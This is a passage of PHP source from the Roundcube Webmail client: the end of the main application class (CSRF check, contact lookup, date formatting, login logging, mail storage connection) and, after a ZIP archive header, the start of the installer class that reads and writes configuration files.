        $path = preg_replace('/index\.php.*$/', '', (string) $path);
        $path = preg_replace('/[?&].*$/', '', $path);
        $path = preg_replace('![^/]+$!', '', $path);

        return rtrim($path, '/') . '/';
    }

    /**
     * Function to be executed in script shutdown
     */
    public function shutdown()
    {
        parent::shutdown();

        foreach ($this->address_books as $book) {
            if (is_a($book, 'rcube_addressbook')) {
                $book->close();
            }
        }

        $this->address_books = [];

        // In CLI stop here, prevent from errors when the console.log might exist,
        // but be not accessible
        if (php_sapi_name() == 'cli') {
            return;
        }

        // write performance stats to logs/console
        if ($this->config->get('devel_mode') || $this->config->get('performance_stats')) {
            // we have to disable per_user_logging to make sure stats end up in the main console log
            $this->config->set('per_user_logging', false);

            // make sure logged numbers use unified format
            setlocale(LC_NUMERIC, 'en_US.utf8', 'en_US.UTF-8', 'en_US', 'C');

            if (function_exists('memory_get_usage')) {
                $mem = round(memory_get_usage() / 1024 /1024, 1);

                if (function_exists('memory_get_peak_usage')) {
                    $mem .= '/'. round(memory_get_peak_usage() / 1024 / 1024, 1);
                }
            }

            $log = $this->task . ($this->action ? '/'.$this->action : '') . (isset($mem) ? " [$mem]" : '');

            if (defined('RCMAIL_START')) {
                self::print_timer(RCMAIL_START, $log);
            }
            else {
                self::console($log);
            }
        }
    }

    /**
     * CSRF attack prevention code. Raises error when check fails.
     *
     * @param int $mode Request mode
     */
    public function request_security_check($mode = rcube_utils::INPUT_POST)
    {
        // check request token
        if (!$this->check_request($mode)) {
            $error = ['code' => 403, 'message' => "Request security check failed"];
            self::raise_error($error, false, true);
        }
    }

    /**
     * Fixes some user preferences according to namespace handling change.
     * Old Roundcube versions were using folder names with removed namespace prefix.
     * Now we need to add the prefix on servers where personal namespace has prefix.
     *
     * @param rcube_user $user User object
     */
    private function fix_namespace_settings($user)
    {
        $prefix     = (string) $this->storage->get_namespace('prefix');
        $prefix_len = strlen($prefix);

        if (!$prefix_len) {
            return;
        }

        if ($this->config->get('namespace_fixed')) {
            return;
        }

        $prefs = [];

        // Build namespace prefix regexp
        $ns     = $this->storage->get_namespace();
        $regexp = [];

        foreach ($ns as $entry) {
            if (!empty($entry)) {
                foreach ($entry as $item) {
                    if (isset($item[0]) && strlen($item[0])) {
                        $regexp[] = preg_quote($item[0], '/');
                    }
                }
            }
        }
        $regexp = '/^(' . implode('|', $regexp) . ')/';

        // Fix preferences
        $opts = ['drafts_mbox', 'junk_mbox', 'sent_mbox', 'trash_mbox', 'archive_mbox'];
        foreach ($opts as $opt) {
            if ($value = $this->config->get($opt)) {
                if ($value != 'INBOX' && !preg_match($regexp, $value)) {
                    $prefs[$opt] = $prefix . $value;
                }
            }
        }

        if (($search_mods = $this->config->get('search_mods')) && !empty($search_mods)) {
            $folders = [];
            foreach ($search_mods as $idx => $value) {
                if ($idx != 'INBOX' && $idx != '*' && !preg_match($regexp, $idx)) {
                    $idx = $prefix . $idx;
                }
                $folders[$idx] = $value;
            }

            $prefs['search_mods'] = $folders;
        }

        if (($threading = $this->config->get('message_threading')) && !empty($threading)) {
            $folders = [];
            foreach ($threading as $idx => $value) {
                if ($idx != 'INBOX' && !preg_match($regexp, $idx)) {
                    $idx = $prefix . $idx;
                }
                $folders[$idx] = $value;
            }

            $prefs['message_threading'] = $folders;
        }

        if ($collapsed = $this->config->get('collapsed_folders')) {
            $folders     = explode('&&', $collapsed);
            $count       = count($folders);
            $folders_str = '';

            if ($count) {
                $folders[0]        = substr($folders[0], 1);
                $folders[$count-1] = substr($folders[$count-1], 0, -1);
            }

            foreach ($folders as $value) {
                if ($value != 'INBOX' && !preg_match($regexp, $value)) {
                    $value = $prefix . $value;
                }
                $folders_str .= '&' . $value . '&';
            }

            $prefs['collapsed_folders'] = $folders_str;
        }

        $prefs['namespace_fixed'] = true;

        // save updated preferences and reset imap settings (default folders)
        $user->save_prefs($prefs);
        $this->set_storage_prop();
    }

    /**
     * Overwrite action variable
     *
     * @param string $action New action value
     * @param array  $args   Arguments to be passed to the next action
     */
    public function overwrite_action($action, $args = [])
    {
        $this->action      = $action;
        $this->action_args = array_merge($this->action_args, $args);
        $this->output->set_env('action', $action);
    }

    /**
     * Set environment variables for specified config options
     *
     * @param array $options List of configuration option names
     *
     * @deprecated since 1.5-beta, use rcmail_action::set_env_config()
     */
    public function set_env_config($options)
    {
        rcmail_action::set_env_config($options);
    }

    /**
     * Insert a contact to specified addressbook.
     *
     * @param array             $contact Contact data
     * @param rcube_addressbook $source  The addressbook object
     * @param string            $error   Filled with an error message/label on error
     *
     * @return int|string|bool Contact ID on success, False otherwise
     */
    public function contact_create($contact, $source, &$error = null)
    {
        $contact['email'] = rcube_utils::idn_to_utf8($contact['email']);

        $contact = $this->plugins->exec_hook('contact_displayname', $contact);

        if (empty($contact['name'])) {
            $contact['name'] = rcube_addressbook::compose_display_name($contact);
        }

        // validate the contact
        if (!$source->validate($contact, true)) {
            if ($error = $source->get_error()) {
                $error = $error['message'];
            }

            return false;
        }

        $plugin = $this->plugins->exec_hook('contact_create', [
                'record' => $contact,
                'source' => $this->get_address_book_id($source),
        ]);

        $contact = $plugin['record'];

        if (!empty($plugin['abort'])) {
            if (!empty($plugin['message'])) {
                $error = $plugin['message'];
            }

            return $plugin['result'];
        }

        return $source->insert($contact);
    }

    /**
     * Find an email address in user addressbook(s)
     *
     * @param string $email Email address
     * @param int    $type  Addressbook type (see rcube_addressbook::TYPE_* constants)
     *
     * @return bool True if the address exists in specified addressbook(s), False otherwise
     */
    public function contact_exists($email, $type)
    {
        if (empty($email) || !is_string($email) || !strpos($email, '@')) {
            return false;
        }

        $email = rcube_utils::idn_to_utf8($email);

        // TODO: Support TYPE_READONLY filter
        $sources = [];

        if ($type & rcube_addressbook::TYPE_WRITEABLE) {
            foreach ($this->get_address_sources(true, true) as $book) {
                $sources[] = $book['id'];
            }
        }

        if ($type & rcube_addressbook::TYPE_DEFAULT) {
            if ($default = $this->get_address_book(rcube_addressbook::TYPE_DEFAULT, true)) {
                $book_id = $this->get_address_book_id($default);
                if (!in_array($book_id, $sources)) {
                    $sources[] = $book_id;
                }
            }
        }

        if ($type & rcube_addressbook::TYPE_RECIPIENT) {
            $collected_recipients = $this->config->get('collected_recipients');
            if (strlen($collected_recipients) && !in_array($collected_recipients, $sources)) {
                array_unshift($sources, $collected_recipients);
            }
        }

        if ($type & rcube_addressbook::TYPE_TRUSTED_SENDER) {
            $collected_senders = $this->config->get('collected_senders');
            if (strlen($collected_senders) && !in_array($collected_senders, $sources)) {
                array_unshift($sources, $collected_senders);
            }
        }

        $plugin = $this->plugins->exec_hook('contact_exists', [
                'email'   => $email,
                'type'    => $type,
                'sources' => $sources,
        ]);

        if (!empty($plugin['abort'])) {
            return $plugin['result'];
        }

        foreach ($plugin['sources'] as $source) {
            $contacts = $this->get_address_book($source);

            if (!$contacts) {
                continue;
            }

            $result = $contacts->search('email', $email, rcube_addressbook::SEARCH_STRICT, false);

            if ($result->count) {
                return true;
            }
        }

        return false;
    }

    /**
     * Returns RFC2822 formatted current date in user's timezone
     *
     * @return string Date
     */
    public function user_date()
    {
        // get user's timezone
        try {
            $tz   = new DateTimeZone($this->config->get('timezone'));
            $date = new DateTime('now', $tz);
        }
        catch (Exception $e) {
            $date = new DateTime();
        }

        return $date->format('r');
    }

    /**
     * Write login data (name, ID, IP address) to the 'userlogins' log file.
     */
    public function log_login($user = null, $failed_login = false, $error_code = 0)
    {
        if (!$this->config->get('log_logins')) {
            return;
        }

        // don't log full session id for security reasons
        $session_id = session_id();
        $session_id = $session_id ? substr($session_id, 0, 16) : 'no-session';

        // failed login
        if ($failed_login) {
            // don't fill the log with complete input, which could
            // have been prepared by a hacker
            if (strlen($user) > 256) {
                $user = substr($user, 0, 256) . '...';
            }

            $message = sprintf('Failed login for %s from %s in session %s (error: %d)',
                $user, rcube_utils::remote_ip(), $session_id, $error_code);
        }
        // successful login
        else {
            $user_name = $this->get_user_name();
            $user_id   = $this->get_user_id();

            if (!$user_id) {
                return;
            }

            $message = sprintf('Successful login for %s (ID: %d) from %s in session %s',
                $user_name, $user_id, rcube_utils::remote_ip(), $session_id);
        }

        // log login
        self::write_log('userlogins', $message);
    }

    /**
     * Check if specified asset file exists
     *
     * @param string $path     Asset path
     * @param bool   $minified Fallback to minified version of the file
     *
     * @return string|null Asset path if found (modified if minified file found)
     */
    public function find_asset($path, $minified = true)
    {
        if (empty($path)) {
            return;
        }

        $assets_dir = $this->config->get('assets_dir');
        $root_path  = unslashify($assets_dir ?: INSTALL_PATH) . '/';
        $full_path  = $root_path . trim($path, '/');

        if (file_exists($full_path)) {
            return $path;
        }

        if ($minified && preg_match('/(?<!\.min)\.(js|css)$/', $path)) {
            $path      = preg_replace('/\.(js|css)$/', '.min.\\1', $path);
            $full_path = $root_path . trim($path, '/');

            if (file_exists($full_path)) {
                return $path;
            }
        }
    }

    /**
     * Create a HTML table based on the given data
     *
     * @param array  $attrib     Named table attributes
     * @param mixed  $table_data Table row data. Either a two-dimensional array
     *                           or a valid SQL result set
     * @param array  $show_cols  List of cols to show
     * @param string $id_col     Name of the identifier col
     *
     * @return string HTML table code
     * @deprecated since 1.5-beta, use rcmail_action::table_output()
     */
    public function table_output($attrib, $table_data, $show_cols, $id_col)
    {
        return rcmail_action::table_output($attrib, $table_data, $show_cols, $id_col);
    }

    /**
     * Convert the given date to a human readable form
     * This uses the date formatting properties from config
     *
     * @param mixed  $date    Date representation (string, timestamp or DateTimeInterface)
     * @param string $format  Date format to use
     * @param bool   $convert Enables date conversion according to user timezone
     *
     * @return string Formatted date string
     */
    public function format_date($date, $format = null, $convert = true)
    {
        if ($date instanceof DateTimeInterface) {
            $timestamp = $date->format('U');
        }
        else {
            if (!empty($date)) {
                $timestamp = rcube_utils::strtotime($date);
            }

            if (empty($timestamp)) {
                return '';
            }

            try {
                $date = new DateTime("@".$timestamp);
            }
            catch (Exception $e) {
                return '';
            }
        }

        if ($convert) {
            try {
                // convert to the right timezone
                $stz = date_default_timezone_get();
                $tz = new DateTimeZone($this->config->get('timezone'));
                $date->setTimezone($tz);
                date_default_timezone_set($tz->getName());

                $timestamp = $date->format('U');
            }
            catch (Exception $e) {
            }
        }

        // define date format depending on current time
        if (!$format) {
            $now         = time();
            $now_date    = getdate($now);
            $today_limit = mktime(0, 0, 0, $now_date['mon'], $now_date['mday'], $now_date['year']);
            $week_limit  = mktime(0, 0, 0, $now_date['mon'], $now_date['mday']-6, $now_date['year']);
            $pretty_date = $this->config->get('prettydate');

            if ($pretty_date && $timestamp > $today_limit && $timestamp <= $now) {
                $format = $this->config->get('date_today', $this->config->get('time_format', 'H:i'));
                $today  = true;
            }
            else if ($pretty_date && $timestamp > $week_limit && $timestamp <= $now) {
                $format = $this->config->get('date_short', 'D H:i');
            }
            else {
                $format = $this->config->get('date_long', 'Y-m-d H:i');
            }
        }

        // parse format string manually in order to provide localized weekday and month names
        $out = '';
        for ($i = 0; $i < strlen($format); $i++) {
            if ($format[$i] == "\\") {  // skip escape chars
                continue;
            }

            // write char "as-is"
            if ($format[$i] == ' ' || ($i > 0 && $format[$i-1] == "\\")) {
                $out .= $format[$i];
            }
            // weekday (short)
            else if ($format[$i] == 'D') {
                $out .= $this->gettext(strtolower(date('D', $timestamp)));
            }
            // weekday long
            else if ($format[$i] == 'l') {
                $out .= $this->gettext(strtolower(date('l', $timestamp)));
            }
            // month name (short)
            else if ($format[$i] == 'M') {
                $out .= $this->gettext(strtolower(date('M', $timestamp)));
            }
            // month name (long)
            else if ($format[$i] == 'F') {
                $out .= $this->gettext('long'.strtolower(date('M', $timestamp)));
            }
            else if ($format[$i] == 'x') {
                $formatter = new IntlDateFormatter(setlocale(LC_ALL, '0'), IntlDateFormatter::SHORT, IntlDateFormatter::SHORT);
                $out .= $formatter->format($timestamp);
            }
            else {
                $out .= date($format[$i], $timestamp);
            }
        }

        if (!empty($today)) {
            $label = $this->gettext('today');
            // replace $ character with "Today" label (#1486120)
            if (strpos($out, '$') !== false) {
                $out = preg_replace('/\$/', $label, $out, 1);
            }
            else {
                $out = $label . ' ' . $out;
            }
        }

        if (isset($stz)) {
            date_default_timezone_set($stz);
        }

        return $out;
    }

    /**
     * Return folders list in HTML
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML code for the gui object
     * @deprecated since 1.5-beta, use rcmail_action::folder_list()
     */
    public function folder_list($attrib)
    {
        return rcmail_action::folder_list($attrib);
    }

    /**
     * Return folders list as html_select object
     *
     * @param array $p Named parameters
     *
     * @return html_select HTML drop-down object
     * @deprecated since 1.5-beta, use rcmail_action::folder_selector()
     */
    public function folder_selector($p = [])
    {
        return rcmail_action::folder_selector($p);
    }

    /**
     * Returns class name for the given folder if it is a special folder
     * (including shared/other users namespace roots).
     *
     * @param string $folder_id IMAP Folder name
     *
     * @return string|null CSS class name
     * @deprecated since 1.5-beta, use rcmail_action::folder_classname()
     */
    public function folder_classname($folder_id)
    {
        return rcmail_action::folder_classname($folder_id);
    }

    /**
     * Try to localize the given IMAP folder name.
     * UTF-7 decode it in case no localized text was found
     *
     * @param string $name        Folder name
     * @param bool   $with_path   Enable path localization
     * @param bool   $path_remove Remove the path
     *
     * @return string Localized folder name in UTF-8 encoding
     * @deprecated since 1.5-beta, use rcmail_action::localize_foldername()
     */
    public function localize_foldername($name, $with_path = false, $path_remove = false)
    {
        return rcmail_action::localize_foldername($name, $with_path, $path_remove);
    }

    /**
     * Localize folder path
     *
     * @deprecated since 1.5-beta, use rcmail_action::localize_folderpath()
     */
    public function localize_folderpath($path)
    {
        return rcmail_action::localize_folderpath($path);
    }

    /**
     * Return HTML for quota indicator object
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML code for the quota indicator object
     * @deprecated since 1.5-beta, use rcmail_action::quota_display()
     */
    public static function quota_display($attrib)
    {
        return rcmail_action::quota_display($attrib);
    }

    /**
     * Return (parsed) quota information
     *
     * @param array $attrib Named parameters
     * @param array $folder Current folder
     *
     * @return array Quota information
     * @deprecated since 1.5-beta, use rcmail_action::quota_content()
     */
    public function quota_content($attrib = null, $folder = null)
    {
        return rcmail_action::quota_content($attrib, $folder);
    }

    /**
     * Outputs error message according to server error/response codes
     *
     * @param string $fallback      Fallback message label
     * @param array  $fallback_args Fallback message label arguments
     * @param string $suffix        Message label suffix
     * @param array  $params        Additional parameters (type, prefix)
     *
     * @deprecated since 1.5-beta, use rcmail_action::display_server_error()
     */
    public function display_server_error($fallback = null, $fallback_args = null, $suffix = '', $params = [])
    {
        rcmail_action::display_server_error($fallback, $fallback_args, $suffix, $params);
    }

    /**
     * Displays an error message on storage fatal errors
     *
     * @deprecated since 1.5-beta, use rcmail_action::storage_fatal_error()
     */
    public function storage_fatal_error()
    {
        rcmail_action::storage_fatal_error();
    }

    /**
     * Output HTML editor scripts
     *
     * @param string $mode Editor mode
     *
     * @deprecated since 1.5-beta, use rcmail_action::html_editor()
     */
    public function html_editor($mode = '')
    {
        rcmail_action::html_editor($mode);
    }

    /**
     * File upload progress handler.
     *
     * @deprecated We're using HTML5 upload progress
     */
    public function upload_progress()
    {
        // NOOP
        $this->output->send();
    }

    /**
     * Initializes file uploading interface.
     *
     * @param int $max_size Optional maximum file size in bytes
     *
     * @return string Human-readable file size limit
     * @deprecated since 1.5-beta, use rcmail_action::upload_init()
     */
    public function upload_init($max_size = null)
    {
        return rcmail_action::upload_init($max_size);
    }

    /**
     * Upload form object
     *
     * @param array  $attrib     Object attributes
     * @param string $name       Form object name
     * @param string $action     Form action name
     * @param array  $input_attr File input attributes
     * @param int    $max_size   Maximum upload size
     *
     * @return string HTML output
     * @deprecated since 1.5-beta, use rcmail_action::upload_form()
     */
    public function upload_form($attrib, $name, $action, $input_attr = [], $max_size = null)
    {
        return rcmail_action::upload_form($attrib, $name, $action, $input_attr, $max_size);
    }

    /**
     * Outputs uploaded file content (with image thumbnails support
     *
     * @param array $file Upload file data
     *
     * @deprecated since 1.5-beta, use rcmail_action::display_uploaded_file()
     */
    public function display_uploaded_file($file)
    {
        rcmail_action::display_uploaded_file($file);
    }

    /**
     * Initializes client-side autocompletion.
     *
     * @deprecated since 1.5-beta, use rcmail_action::autocomplete_init()
     */
    public function autocomplete_init()
    {
        rcmail_action::autocomplete_init();
    }

    /**
     * Returns supported font-family specifications
     *
     * @param string $font Font name
     *
     * @return string|array Font-family specification array or string (if $font is used)
     * @deprecated since 1.5-beta, use rcmail_action::autocomplete_init()
     */
    public static function font_defs($font = null)
    {
        return rcmail_action::font_defs($font);
    }

    /**
     * Create a human readable string for a number of bytes
     *
     * @param int    $bytes Number of bytes
     * @param string &$unit Size unit
     *
     * @return string Byte string
     * @deprecated since 1.5-beta, use rcmail_action::show_bytes()
     */
    public function show_bytes($bytes, &$unit = null)
    {
        return rcmail_action::show_bytes($bytes, $unit);
    }

    /**
     * Returns real size (calculated) of the message part
     *
     * @param rcube_message_part $part Message part
     *
     * @return string Part size (and unit)
     * @deprecated since 1.5-beta, use rcmail_action::message_part_size()
     */
    public function message_part_size($part)
    {
        return rcmail_action::message_part_size($part);
    }

    /**
     * Returns message UID(s) and IMAP folder(s) from GET/POST data
     *
     * @param string $uids           UID value to decode
     * @param string $mbox           Default mailbox value (if not encoded in UIDs)
     * @param bool   $is_multifolder Will be set to True if multi-folder request
     * @param int    $mode           Request mode. Default: rcube_utils::INPUT_GPC.
     *
     * @return array  List of message UIDs per folder
     * @deprecated since 1.5-beta, use rcmail_action::get_uids()
     */
    public static function get_uids($uids = null, $mbox = null, &$is_multifolder = false, $mode = null)
    {
        return rcmail_action::get_uids($uids, $mbox, $is_multifolder, $mode);
    }

    /**
     * Get resource file content (with assets_dir support)
     *
     * @param string $name File name
     *
     * @return string File content
     * @deprecated since 1.5-beta, use rcmail_action::get_resource_content()
     */
    public function get_resource_content($name)
    {
        return rcmail_action::get_resource_content($name);
    }

    /**
     * Converts HTML content into plain text
     *
     * @param string $html    HTML content
     * @param array  $options Conversion parameters (width, links, charset)
     *
     * @return string Plain text
     */
    public function html2text($html, $options = [])
    {
        $default_options = [
            'links'   => $this->config->get('html2text_links', rcube_html2text::LINKS_DEFAULT),
            'width'   => $this->config->get('html2text_width') ?: 75,
            'body'    => $html,
            'charset' => RCUBE_CHARSET,
        ];

        $options = array_merge($default_options, (array) $options);

        // Plugins may want to modify HTML in another/additional way
        $options = $this->plugins->exec_hook('html2text', $options);

        // Convert to text
        if (empty($options['abort'])) {
            $converter = new rcube_html2text($options['body'],
                false, $options['links'], $options['width'], $options['charset']);

            $options['body'] = rtrim($converter->get_text());
        }

        return $options['body'];
    }

    /**
     * Connect to the mail storage server with stored session data
     *
     * @return bool True on success, False on error
     */
    public function storage_connect()
    {
        $storage = $this->get_storage();

        if (!empty($_SESSION['storage_host']) && !$storage->is_connected()) {
            $host = $_SESSION['storage_host'];
            $user = $_SESSION['username'];
            $port = $_SESSION['storage_port'];
            $ssl  = $_SESSION['storage_ssl'];
            $pass = $this->decrypt($_SESSION['password']);

            if (!$storage->connect($host, $user, $pass, $port, $ssl)) {
                if (is_object($this->output)) {
                    $this->output->show_message('storageerror', 'error');
                }
            }
            else {
                $this->set_storage_prop();
            }
        }

        return $storage->is_connected();
    }
}
PK
h�\���{�{"program/include/rcmail_install.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Roundcube Installer                                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to control the installation process of the Roundcube Webmail package
 *
 * @category Install
 * @package  Webmail
 */
class rcmail_install
{
    public $step;
    public $last_error;
    public $is_post           = false;
    public $failures          = 0;
    public $config            = [];
    public $defaults          = [];
    public $comments          = [];
    public $configured        = false;
    public $legacy_config     = false;
    public $email_pattern     = '([a-z0-9][a-z0-9\-\.\+\_]*@[a-z0-9]([a-z0-9\-][.]?)*[a-z0-9])';

    public $bool_config_props = ['ip_check', 'enable_spellcheck', 'auto_create_user', 'smtp_log', 'prefer_html'];
    public $local_config    = ['db_dsnw', 'imap_host', 'support_url', 'des_key', 'plugins'];
    public $obsolete_config = ['db_backend', 'db_max_length', 'double_auth', 'preview_pane', 'debug_level', 'referer_check'];
    public $replaced_config = [
        'skin_path'            => 'skin',
        'locale_string'        => 'language',
        'multiple_identities'  => 'identities_level',
        'addrbook_show_images' => 'show_images',
        'imap_root'            => 'imap_ns_personal',
        'pagesize'             => 'mail_pagesize',
        'top_posting'          => 'reply_mode',
        'keep_alive'           => 'refresh_interval',
        'min_keep_alive'       => 'min_refresh_interval',
        'default_host'         => 'imap_host',
        'smtp_server'          => 'smtp_host',
    ];

    // List of configuration options supported by the Installer
    public $supported_config = [
        'product_name', 'support_url', 'temp_dir', 'des_key', 'ip_check', 'enable_spellcheck',
        'spellcheck_engine', 'identities_level', 'log_driver', 'log_dir', 'syslog_id',
        'syslog_facility', 'db_dsnw', 'db_prefix', 'imap_host', 'username_domain',
        'auto_create_user', 'sent_mbox', 'trash_mbox', 'drafts_mbox', 'junk_mbox',
        'smtp_host', 'smtp_user', 'smtp_pass', 'smtp_log', 'language', 'skin', 'mail_pagesize',
        'addressbook_pagesize', 'prefer_html', 'htmleditor', 'draft_autosave', 'mdn_requests',
        'mime_param_folding', 'plugins',
    ];

    // list of supported database drivers
    public $supported_dbs = [
        'MySQL'               => 'pdo_mysql',
        'PostgreSQL'          => 'pdo_pgsql',
        'SQLite'              => 'pdo_sqlite',
        'SQLite (v2)'         => 'pdo_sqlite2',
        'SQL Server (SQLSRV)' => 'pdo_sqlsrv',
        'SQL Server (DBLIB)'  => 'pdo_dblib',
        'Oracle'              => 'oci8',
    ];

    /** @var array List of config options with default value change per-release */
    public $defaults_changes = [
        '1.4.0' => ['skin', 'smtp_port', 'smtp_user', 'smtp_pass'],
        '1.4.1' => ['jquery_ui_skin_map'],
    ];

    /**
     * Constructor
     */
    public function __construct()
    {
        $this->step    = isset($_REQUEST['_step']) ? intval($_REQUEST['_step']) : 0;
        $this->is_post = isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'POST';
    }

    /**
     * Singleton getter
     */
    public static function get_instance()
    {
        static $inst;

        if (!$inst) {
            $inst = new rcmail_install();
        }

        return $inst;
    }

    /**
     * Read the local config files and store properties
     */
    public function load_config()
    {
        if ($this->configured) {
            return;
        }

        // defaults
        if ($config = $this->load_config_file(RCUBE_CONFIG_DIR . 'defaults.inc.php')) {
            $this->config   = (array) $config;
            $this->defaults = $this->config;
        }

        $config = null;

        // config
        if ($config = $this->load_config_file(RCUBE_CONFIG_DIR . 'config.inc.php')) {
            $this->config = array_merge($this->config, $config);
        }
        else {
            if ($config = $this->load_config_file(RCUBE_CONFIG_DIR . 'main.inc.php')) {
                $this->config        = array_merge($this->config, $config);
                $this->legacy_config = true;
            }

            if ($config = $this->load_config_file(RCUBE_CONFIG_DIR . 'db.inc.php')) {
                $this->config        = array_merge($this->config, $config);
                $this->legacy_config = true;
            }
        }

        $this->configured = !empty($config);
    }

    /**
     * Read the default config file and store properties
     *
     * @param string $file File name with path
     */
    public function load_config_file($file)
    {
        if (!is_readable($file)) {
            return;
        }

        $config        = [];
        $rcmail_config = []; // deprecated var name

        include $file;

        // read comments from config file
        if (function_exists('token_get_all')) {
            $tokens    = token_get_all(file_get_contents($file));
            $in_config = false;
            $buffer    = '';

            for ($i = 0; $i < count($tokens); $i++) {
                $token = $tokens[$i];
                if ($token[0] == T_VARIABLE && ($token[1] == '$config' || $token[1] == '$rcmail_config')) {
                    $in_config = true;
                    if ($buffer && $tokens[$i+1] == '[' && $tokens[$i+2][0] == T_CONSTANT_ENCAPSED_STRING) {
                        $propname = trim($tokens[$i+2][1], "'\"");
                        $this->comments[$propname] = preg_replace('/\n\n/', "\n", $buffer);
                        $buffer = '';
                        $i += 3;
                    }
                }
                else if ($in_config && $token[0] == T_COMMENT) {
                    $buffer .= strtr($token[1], ['\n' => "\n"]) . "\n";
                }
            }
        }

        return array_merge((array) $rcmail_config, (array) $config);
    }

    /**
     * Getter for a certain config property
     *
     * @param string $name    Property name
     * @param string $default Default value
     *
     * @return mixed The property value
     */
    public function getprop($name, $default = '')
    {
        $value = $this->config[$name] ?? null;

        if ($name == 'des_key' && !$this->configured && !isset($_REQUEST["_$name"])) {
            $value = rcube_utils::random_bytes(24);
        }

        return $value !== null && $value !== '' ? $value : $default;
    }

    /**
     * Create configuration file that contains parameters
     * that differ from default values.
     *
     * @param bool $use_post Use POSTed configuration values (of supported options)
     *
     * @return string The complete config file content
     */
    public function create_config($use_post = true)
    {
        $config = [];

        foreach ($this->config as $prop => $default) {
            $post_value = $_POST["_$prop"] ?? null;
            $value      = $default;

            if ($use_post && in_array($prop, $this->supported_config)
                && ($post_value !== null || in_array($prop, $this->bool_config_props))
            ) {
                $value = $post_value;
            }

            // always disable installer
            if ($prop == 'enable_installer') {
                $value = false;
            }

            // generate new encryption key, never use the default value
            if ($prop == 'des_key' && $value == $this->defaults[$prop]) {
                $value = rcube_utils::random_bytes(24);
            }

            // convert some form data
            if ($prop == 'db_dsnw' && !empty($_POST['_dbtype'])) {
                if ($_POST['_dbtype'] == 'sqlite') {
                    $value = sprintf('%s://%s?mode=0646', $_POST['_dbtype'],
                        $_POST['_dbname'][0] == '/' ? '/' . $_POST['_dbname'] : $_POST['_dbname']);
                }
                else if ($_POST['_dbtype']) {
                    $value = sprintf('%s://%s:%s@%s/%s', $_POST['_dbtype'],
                        rawurlencode($_POST['_dbuser']), rawurlencode($_POST['_dbpass']), $_POST['_dbhost'], $_POST['_dbname']);
                }
            }
            else if ($prop == 'imap_host' && is_array($value)) {
                $value = self::_clean_array($value);
                if (count($value) <= 1) {
                    $value = $value[0];
                }
            }
            else if ($prop == 'mail_pagesize' || $prop == 'addressbook_pagesize') {
                $value = max(2, intval($value));
            }
            else if ($prop == 'smtp_user' && !empty($_POST['_smtp_user_u'])) {
                $value = '%u';
            }
            else if ($prop == 'smtp_pass' && !empty($_POST['_smtp_user_u'])) {
                $value = '%p';
            }
            else if (is_bool($default)) {
                $value = (bool) $value;
            }
            else if (is_numeric($value)) {
                $value = intval($value);
            }
            else if ($prop == 'plugins' && !empty($_POST['submit'])) {
                $value = [];
                foreach (array_keys($_POST) as $key) {
                    if (preg_match('/^_plugins_*/', $key)) {
                        array_push($value, $_POST[$key]);
                    }
                }
            }

            // skip this property
            if ($value == ($this->defaults[$prop] ?? null)
                && (!in_array($prop, $this->local_config)
                    || in_array($prop, array_merge($this->obsolete_config, array_keys($this->replaced_config)))
                    || preg_match('/^db_(table|sequence)_/', $prop)
                )
            ) {
                continue;
            }

            // save change
            $this->config[$prop] = $value;
            $config[$prop]       = $value;
        }

        $out = "<?php\n\n";
        $out .= "/* Local configuration for Roundcube Webmail */\n\n";

        foreach ($config as $prop => $value) {
            // copy option descriptions from existing config or defaults.inc.php
            $out .= $this->comments[$prop] ?? '';
            $out .= "\$config['$prop'] = " . self::_dump_var($value, $prop) . ";\n\n";
        }

        return $out;
    }

    /**
     * save generated config file in RCUBE_CONFIG_DIR
     *
     * @return bool True if the file was saved successfully, false if not
     */
    public function save_configfile($config)
    {
        if (is_writable(RCUBE_CONFIG_DIR)) {
            return file_put_contents(RCUBE_CONFIG_DIR . 'config.inc.php', $config);
        }

        return false;
    }

    /**
     * Check the current configuration for missing properties
     * and deprecated or obsolete settings
     *
     * @param string $version Previous version on upgrade
     *
     * @return array List with problems detected
     */
    public function check_config($version = null)
    {
        $this->load_config();

        if (!$this->configured) {
            return;
        }

        $seen = [];
        $out = ['defaults' => [], 'obsolete' => [], 'replaced' => [], 'dependencies' => [], 'missing' => []];

        // iterate over the current configuration
        foreach (array_keys($this->config) as $prop) {
            if (!empty($this->replaced_config[$prop])) {
                $replacement = $this->replaced_config[$prop];
                $out['replaced'][]  = ['prop' => $prop, 'replacement' => $replacement];
                $seen[$replacement] = true;
            }
            else if (empty($seen[$prop]) && in_array($prop, $this->obsolete_config)) {
                $out['obsolete'][] = ['prop' => $prop];
                $seen[$prop]       = true;
            }
        }

        // the old default mime_magic reference is obsolete
        if (isset($this->config['mime_magic']) && $this->config['mime_magic'] == '/usr/share/misc/magic') {
            $out['obsolete'][] = [
                'prop'    => 'mime_magic',
                'explain' => "Set value to null in order to use system default"
            ];
        }

        // check config dependencies and contradictions
        if (!empty($this->config['enable_spellcheck']) && $this->config['spellcheck_engine'] == 'pspell') {
            if (!extension_loaded('pspell')) {
                $out['dependencies'][] = [
                    'prop'    => 'spellcheck_engine',
                    'explain' => "This requires the <tt>pspell</tt> extension which could not be loaded."
                ];
            }
            else if (!empty($this->config['spellcheck_languages'])) {
                foreach ($this->config['spellcheck_languages'] as $lang => $descr) {
                    if (!@pspell_new($lang)) {
                        $out['dependencies'][] = [
                            'prop'    => 'spellcheck_languages',
                            'explain' => "You are missing pspell support for language $lang ($descr)"
                        ];
                    }
                }
            }
        }

        if (isset($this->config['log_driver']) && $this->config['log_driver'] == 'syslog') {
            if (!function_exists('openlog')) {
                $out['dependencies'][] = [
                    'prop'    => 'log_driver',
                    'explain' => "This requires the <tt>syslog</tt> extension which could not be loaded."
                ];
            }

            if (empty($this->config['syslog_id'])) {
                $out['dependencies'][] = [
                    'prop'    => 'syslog_id',
                    'explain' => "Using <tt>syslog</tt> for logging requires a syslog ID to be configured"
                ];
            }
        }

        // check ldap_public sources having global_search enabled
